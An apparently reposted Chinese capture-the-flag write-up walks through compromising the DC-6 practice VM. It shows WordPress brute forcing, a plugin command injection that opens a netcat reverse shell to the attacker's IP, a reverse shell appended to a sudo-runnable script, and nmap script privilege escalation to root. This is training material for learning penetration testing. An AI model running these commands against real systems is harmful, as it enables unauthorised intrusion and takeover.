DC-6靶机渗透测试全过程

目录

前期准备

一、渗透测试

1.IP地址查询

2.端口信息搜寻

3.网页信息搜集

wappalyzer

 WPScan

反弹shell

graham用户

反弹出jens的shell

nmap提权

 二、总结


前期准备

攻击机: kali windows11

靶机:DC-6靶机(调至NAT模式)

一、渗透测试

1.IP地址查询

┌──(root㉿kali)-[~]
└─# arp-scan -l

通过比较MAC地址,可以得到靶机的IP地址为 192.168.105.164

2.端口信息搜寻

┌──(root㉿kali)-[~]
└─# nmap -sV -p- 192.168.105.164

可以看到又开了SSH,后面应该又要登录

3.网页信息搜集

访问靶机的80端口

看起来又被重定向掉了?还记得之前打靶机的经验,尝试去改hosts文件

到:C:\Windows\System32\drivers\etc 下修改hosts文件(使用Notepad++打开)

 保存下网页就能够正常访问了

wappalyzer

 WPScan

看到一个很熟悉的cms——WordPress,这是我们之前打过的一个cms,并且还记得相应的工具WPScan。直接上网上搜,发现了WordPress 5.1.1 的漏洞。边看看网页边用dirseach扫一下目录。但是由于我们是在windows的hosts文件中改的重定向,而用wpscan扫网站时用的是kali,所以还应该将kali中的hosts文件修改一下,在 /etc/hosts

┌──(root㉿kali)-[~]
└─# wpscan --url http://wordy -e u

 成功扫出来了一些账号名(保存为user.txt)然后尤其关注登录页面

以及用dirsearch扫出来一些目录

 

先尝试到登录界面去 /wp-login.php

这里缺密码怎么办?之前用到的工具是Cewl进行爬取从而得到密码字典,这里也可以试试

成功得到一些密码,保存为passwds.txt ,然后使用WPScan进行网站登录爆破

┌──(root㉿kali)-[~/dc-6]
└─# wpscan --url http://wordy -U users.txt -P passwds.txt

可惜这样并不能够爆破成功,密码没匹配上。。。看了别的师傅的wp才知道官网给了密码的提示

提示我们用kali中的字典并匹配含k01这样的密码,在该目录下

发现rockyou还是个压缩包,先解压得到rockyou.txt文件

┌──(root㉿kali)-[/usr/share/wordlists]
└─# gzip rockyou.txt.gz -d

先回到dc-6目录,根据官网提示给的命令得到密码字典

┌──(root㉿kali)-[~/dc-6]
└─# cat /usr/share/wordlists/rockyou.txt | grep k01 > passwds.txt

然后再用wpscan进行爆破

┌──(root㉿kali)-[~/dc-6]
└─# wpscan --url http://wordy -U users.txt -P passwds.txt

最终只得到了一个账号: mark helpdesk01 直接登录!

好的,现在想一下如何getshell(用mark直接ssh登录发现是不行的,权限不够)getshell可以通过命令执行弹一个shell,或者是得到别的账户密码再次尝试SSH

(1)首先可以去看看网页的功能,对一些可能的功能点进行测试

(2)可以看看WordPress 5.1.1 的历史漏洞,看看是否能够被利用

首先还是来看看WordPress 5.1.1 的漏洞,主要流传的是CSRF-to-RCE的那个漏洞

但看起来并不能够用于该靶机,只能在网页上找功能点了,而且一般来说,找的应该是插件的漏洞了,看看这里有哪几个插件

主要是这两个插件, 看看有没有什么历史漏洞?

可以看到百度上成功搜到了 Activity Monitor的历史漏洞,复现一下看看

这个地方看可以输入IP,和以前遇到的CTF题有点像,当我输入127.0.0.1 | ls -l 时,发现不能输入了,这里应该是有长度限制,看看是不是前端的长度限制

尝试只修改前端的检查试试,将其改为100

可以看到命令直接执行了,接下来弹个shell

反弹shell

现在kali上打开监听

nc -lvp 5555

然后在IP处输入

127.0.0.1 | nc 192.168.105.148 5555 -e /bin/bash

 点击执行就成功getshell了

然后用python开启交互式终端

python -c "import pty;pty.spawn('/bin/bash')"

再就是到提权了,先试试以往的提权方法

www-data@dc-6:/var/www/html$ find / -perm -u=s -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/bin/chfn
/usr/bin/sudo
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/passwd
/bin/su
/bin/mount
/bin/umount
/bin/ping

然后直接问AI “请问哪些可以用于suid漏洞提权”  但是看起来都不能利用,再试试 sudo -l,显示需要输入密码,这个密码也暂时是不知道的,只能再去看看别的一些用户了,去home目录下

www-data@dc-6:/home$ ls
ls
graham  jens  mark  sarah

看看各个用户下面有什么,说不定就有旧密码可以用于爆破

www-data@dc-6:/home/jens$ ls
ls
backups.sh

有到一个shell执行程序,看看是用来干嘛的

www-data@dc-6:/home/jens$ cat backups.sh
cat backups.sh
#!/bin/bash
tar -czf backups.tar.gz /var/www/html

专门是用于解压 /var/www/html下的 backups.tar.gz的(看起来就是打包网站的),先放这里,继续看mark目录下的stuff

www-data@dc-6:/home/mark/stuff$ cat things-to-do.txt
cat things-to-do.txt
Things to do:- Restore full functionality for the hyperdrive (need to speak to Jens)
- Buy present for Sarah's farewell party
- Add new user: graham - GSo7isUM1D4 - done
- Apply for the OSCP course
- Buy new laptop for Sarah's replacement

这里写了一系列的事项(类似于一个flag)

恢复超空间驱动器的全部功能(需要和jens聊聊)

为sarah的告别派对买礼物

加新用户:graham - 密码为 GSo7isUM1D4 - 已完成

申请 OSCP 课程

为接替sarah工作的人买一台新笔记本电脑

此外在sarah目录下并没有找到文件,但是事项中毕竟给了graham的密码,另开一个终端,看看ssh能不能登录上

graham用户

成功登录上,看看graham能否提权

graham@dc-6:/home$ sudo -l
Matching Defaults entries for graham on dc-6:env_reset, mail_badpass,secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/binUser graham may run the following commands on dc-6:(jens) NOPASSWD: /home/jens/backups.sh

此时输入 sudo -l 就有反应了,用到的就是之前看到的那个执行程序(若想要无密码执行这个文件,需要用jens的身份), 先想想需要用这个程序干什么,再想想怎么用。这个程序最多让我们获得jens的shell,既然这样的话,不妨尝试通过这个程序登上jens的账户。尝试写入反弹shell

反弹出jens的shell

graham@dc-6:/home/jens$ echo "nc 192.168.105.148 5556 -e /bin/bash" >> backups.sh

再打开kali的监听

┌──(root㉿kali)-[~]
└─# nc -lvp 5556

然后用jens的身份运行该文件

graham@dc-6:/home/jens$ sudo -u jens ./backups.sh

此时就成功获得jens用户的shell了,此时再看jens用户能不能提权

jens@dc-6:~$ sudo -l
sudo -l
Matching Defaults entries for jens on dc-6:env_reset, mail_badpass,secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/binUser jens may run the following commands on dc-6:(root) NOPASSWD: /usr/bin/nmap

 看到这里有nmap,并且也是免密码运行的

jens@dc-6:/usr/bin$ ls -l nmap
ls -l nmap
-rwxr-xr-x 1 root root 2838168 Dec 22  2016 nmap

发现是root权限的,那就直接拿nmap来试试提权了,去百度搜索有关nmap的提权方式,发现有两种

nmap提权

(1)低版本的nmap提权: 利用nmap的--interactive 进入交互式命令行执行,然后执行!/bin/bash就行
(2)高版本的nmap提权:首先将提权命令写入脚本中,利用--script执行脚本
 echo "os.execute('/bin/bash')" > get_root.nse
 sudo nmap --script=get_root

这里应该就是用第二种了

jens@dc-6:~$ touch get_root.nse
touch get_root.nse
jens@dc-6:~$ ls
ls
backups.sh  backups.tar.gz  get_root.nse
jens@dc-6:~$ echo "os.execute('/bin/bash')" > get_root.nse
echo "os.execute('/bin/bash')" > get_root.nse
jens@dc-6:~$ cat get_root.nse
cat get_root.nse
os.execute('/bin/bash')

成功写入,接下来运行

jens@dc-6:~$ sudo nmap --script=get_root.nse
sudo nmap --script=get_root.nseStarting Nmap 7.40 ( https://nmap.org ) at 2025-02-14 20:52 AEST
root@dc-6:/home/jens#

成功提权到root!

root@dc-6:~# cat theflag.txtYb        dP 888888 88     88         8888b.   dP"Yb  88b 88 888888 d8bYb  db  dP  88__   88     88          8I  Yb dP   Yb 88Yb88 88__   Y8PYbdPYbdP   88""   88  .o 88  .o      8I  dY Yb   dP 88 Y88 88""   `"'YP  YP    888888 88ood8 88ood8     8888Y"   YbodP  88  Y8 888888 (8)Congratulations!!!Hope you enjoyed DC-6.  Just wanted to send a big thanks out there to all those
who have provided feedback, and who have taken time to complete these little
challenges.If you enjoyed this CTF, send me a tweet via @DCAU7.

 二、总结

(1)本次学习了nmap的提权方式,并且温习了下WPScan的用法,相比于主动去找插件的漏洞,感觉WPScan应该也能扫出来(感觉)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/18720.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

以若依移动端版为基础,实现uniapp的flowable流程管理

1.前言 此代码是若依移动端版为基础,实现flowable流程管理,支持H5、APP和微信小程序三端。其中,APP是在安卓在雷电模拟器环境下完成的,其他环境未测试,此文章中所提及的APP均指上述环境。移动端是需要配合若依前后端分…

C++ Primer 返回值和return语句

欢迎阅读我的 【CPrimer】专栏 专栏简介:本专栏主要面向C初学者,解释C的一些基本概念和基础语言特性,涉及C标准库的用法,面向对象特性,泛型特性高级用法。通过使用标准库中定义的抽象设施,使你更加适应高级…

dma_ddr 的编写 通过mig控制ddr3

此外还有别的模块 本模块是 其中一个 timescale 1ns/1ps module dma_ctrl (input wire ui_clk , //100MHZ 用户时钟input wire ui_rst_n ,//写fifo的写端口 input wire wf_wr_clk , //由数据产生模块的时…

【15】思科AireOS:创建使用 PSK 认证的 WLAN

1. 概述 在 Cisco AireOS 无线局域网控制器(WLC)上,您可以配置基于预共享密钥(PSK)的 WLAN,以提供无线访问。PSK 认证是一种 WPA2/WPA3 个人模式下常用的认证方式,适用于家庭或小型企业环境。 本指南将详细介绍如何在 Cisco AireOS WLC 上配置 PSK 认证的 WLAN,并确保…

基于css实现正六边形的三种方案

方案一:通过旋转三个长方形生成正六边形 分析: 如下图所示,我们可以通过旋转三个长方形来得到一个正六边形。疑问: 1. 长方形的宽高分别是多少? 设正六边形的边长是100,基于一些数学常识,可以…

Python用PyMC3马尔可夫链蒙特卡罗MCMC对疾病症状数据贝叶斯推断

全文链接:https://tecdat.cn/?p39937 本文聚焦于马尔可夫链蒙特卡罗(MCMC)方法在贝叶斯推断中的Python实现。通过介绍MCMC的基础原理、在贝叶斯推断中的应用步骤,展示了其在解决复杂分布采样问题上的强大能力。同时,借…

linux--关于makefile

makefile文件 可以指定编译顺序,这样方便一个项目的多个文件要编译的挨个操作的麻烦。 makefile文件的命名:makefile 或者 Makefile 必须是这俩,系统才能识别 规则的书写语法如下: 一个makefile内可以有多个规则 目标:依赖a 依…

何须付费免费它不香吗

聊一聊 又是一年开学季。 开学了发一些应时期的小软件。 今天给大家分享一款学校班级课程表工具。 这款工具可以投放在学校电子大屏上。 支持学校的白板软件。 软件介绍 学校班级课程表 工具界面清爽,信息能一目了然。 虽然看感觉功能简单,但每个…

day10后期软件

美图秀秀:美拍拼图、Facetune:面部重塑、泼辣修图:手机中的PS Lightroom:精致调色 想法类: 玩创意特效 PicsArt:很强大 排版类:精美杂志风 MOLDIV:无损排版;天天P图&#xff1a…

用大模型学大模型03-数学基础 概率论 条件概率 全概率公式 贝叶斯定理

要深入浅出地理解条件概率与贝叶斯定理,可以从以下几个方面入手,结合理论知识和实例进行学习: 贝叶斯定理与智能世界的暗语 条件概率,全概率公式与贝叶斯公式的推导,理解和应用 拉普拉斯平滑 贝叶斯解决垃圾邮件分类 …

Calico网络组件本地部署支持IPv6(Kubernetes)

知其然 问题背景 因项目现场的网络正逐步从IPv4向IPv6迁移,这几年现场服务器基本上都配置了双栈;但随着IPv6铺开,出现了很多纯IPv6的服务器,并且要求通信优先使用IPv6。 在项目建设之初,其实就考虑了上述情况&#…

【Python】函数

个人主页:Guiat 归属专栏:Python 文章目录 1. 函数的定义1.1 基本定义方式1.2 函数名和参数 2. 函数的调用2.1 基本调用方式2.2 参数传递 3. 函数的返回值3.1 return 语句3.2 返回多个值 4. 函数的作用域4.1 局部变量4.2 全局变量 5. 匿名函数&#xff0…

PbootCMS增加可允许上传文件类型,例如webp、mov等文件格式扩展

在PbootCMS日常使用过程中,会涉及一些非常见的文件格式上传。 这时候就需要在PbootCMS配置文件中追加一些允许上传文件扩展名。 操作步骤 1、打开/config/config.php文件,大约在30行,修改upload配置信息: // 上传配置upload &…

EasyRTC视频通话WebP2P技术:轻量化SDK助力嵌入式设备实时音视频通信

在智能硬件井喷式发展的当下,嵌入式设备对实时音视频通信的需求正从实验室走向千行百业。然而,当开发者尝试将传统RTC(实时通信)方案移植到MCU、边缘计算终端等资源受限设备时,往往会遭遇一道难以逾越的屏障——Flash存…

Vript-Hard——一个基于高分辨率和详细字幕的视频理解算法

一、概述 多模态学习的最新进展促进了对视频理解和生成模型的研究。随之而来的是,对高分辨率视频和详细说明所建立的高质量数据集的需求激增。然而,由于时间因素的影响,视频与文本的配对不像图像那样容易。准备视频和文本配对是一项困难得多…

如何调整 Nginx工作进程数以提升性能

🏡作者主页:点击! Nginx-从零开始的服务器之旅专栏:点击! 🐧Linux高级管理防护和群集专栏:点击! ⏰️创作时间:2025年2月15日14点20分 Nginx 的工作进程数&#xff0…

SolidWorks速成教程P3-6【零件 | 第六节】——草图封闭轮廓所选轮廓厚度为零的报错

到这里,我们已经将特征成型的常用功能学完。这节我来继续讲解一下 SolidWorks中建模的一些容易忽略的问题(草图封闭轮廓&所选轮廓&厚度为零的报错)。 目录 1.草图封闭轮廓 2.所选轮廓 3.厚度为零的报错 1.草图封闭轮廓 我们在拉伸凸台时,一般都会绘制封闭的草…

关于post和get的请求参数问题

今天在和泓宇交流的时候,谈到了关于postman测试接口的问题。我昨天在postman测试的时候,对于条件查询不知道怎么测试,脑子里很混乱。今天,泓宇借着条件查询这个机会给我讲了讲get和post的请求参数的知识,趁着现在有记忆…

UE5中的四元数

UE5中的四元数 绕任意轴旋转四元数与矩阵四元数与欧拉角将一个向量旋转到另一个向量插值Reference 我们知道,四元数是除了欧拉角,旋转矩阵之外,主要用来描述旋转的量。四元数直观的定义就是 q [ c o s ( θ 2 ) , s i n ( θ 2 ) N ] q [c…

AUTOSAR MCAL层ETH模块(1)——通信原理

基础了解 ETH,以太网,简单来讲就是将几台设备连接起来形成网络。这种连接是点到点之间的。以太网的传输速率为10M~10G,速度非常快。 为了实现网络通信的标准化,普及网络应用,国际标准化组织(ISO)将整个以太网通信结构制…